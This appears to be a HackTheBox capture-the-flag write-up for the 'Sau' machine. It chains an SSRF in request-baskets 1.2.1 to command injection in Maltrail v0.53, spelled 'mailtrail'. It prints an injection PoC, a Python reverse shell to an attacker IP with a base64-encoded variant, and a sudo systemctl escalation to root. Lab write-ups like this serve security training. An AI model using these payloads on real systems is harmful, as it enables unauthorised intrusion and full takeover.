HTB: Sau

Easy HTB machine with a SSRF vulnerability that gives access to OS command injection in mailtrail.

Enumeration

Nmap port scan

port 22, and 55555 are open. Port 80 and 8338 are filtered.

Port 80

Port 80 is not accessible.

Port 55555

It shows a website that is running request-basket version 1.2.1.

A quick google for request basket 1.2.1 exploit shows a CVE for SSRF: https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3. Details can be read here.

Creating the basket

Basket created

Basket dashboard

Shell as Puma

Settings

In the top bar I can open the settings.

That brings up the following configuration settings, here the SSRF vulnerability can be abused by setting it to localhost (127.0.0.1) on port 80 (remember the nmap port scan showed port 80 filtered).

Make sure proxy response is ticked.

This will make the requests that are sent to http://10.10.11.224:55555/basket123 be forwarded to the internal http://127.0.0.1:80 url.

Mailtrail

Browsing to http://10.10.11.224:55555/basket123 shows the following page.

At the bottom of the page it shows that it is powered by mailtrail v0.53.

OS Command injection

Googling mailtrail v0.53 exploit, shows the following website that explains the OS command injection vulnerability in mailtrail v0.53.
https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/.

POC from huntr.dev

curl 'http://hostname:8338/login' \
  --data 'username=;`id > /tmp/bbq`'

This shows that we can execute commands after the username.

First I need to change the settings url to /login

Let’s try to get a reverse shell.

Crafting payload

Using payloadallthethings python reverse shell

python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.196",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

I will base64 encode this payload so it can be transferred correctly.

In order to execute this on the system, we need to decode it back to base64 and run it.

echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE5NiIsNDI0MikpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdLHN0ZGluPXMuZmlsZW5vKCksc3Rkb3V0PXMuZmlsZW5vKCksc3RkZXJyPXMuZmlsZW5vKCkpJwo=|base64 -d|bash

Now I need to insert that into the payload in curl.

I start my nc listeren and run the curl command, and recieve a shell as puma.

User flag

Privilege escalation

Running sudo -l shows that the current user is allowed to run /usr/bin/systemctl status trail.service as sudo.

A quick GTFO bins search shows how I can escalate my privileges GTFObins systemctl.

For the privilege escalation, a interactive shell is required, if you don’t know how to do this; (Read this )[https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/]

Root flag

Running sudo systemctl status trail.service followed by !sh gives me a root shell.